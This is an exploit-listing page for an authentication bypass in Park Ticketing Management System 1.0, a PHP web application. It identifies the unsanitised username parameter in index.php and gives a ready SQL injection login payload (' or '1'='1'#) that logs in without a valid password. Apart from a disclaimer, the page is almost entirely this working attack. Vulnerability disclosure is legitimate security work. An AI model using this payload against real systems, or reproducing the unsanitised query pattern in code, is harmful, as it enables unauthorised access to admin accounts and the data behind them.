Park ticketing management system 1.0 authentication bypass Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-07-13 |
Type : webapps |
Platform : php
This exploit / vulnerability Park ticketing management system 1.0 authentication bypass is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Park Ticketing Management System 1.0 - Authentication Bypass
# Date: 2020-07-13
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
/index.php
Vulnerable Code:
-----------------
line 8: $adminuser=$_POST['username'];
Vulnerable Issue:
-----------------
$adminuser=$_POST['username']; has no sanitization
POC User Login:
---------------
URL: http://localhost/ptms/index.php
Username : ' or '1'='1'#
Password : anything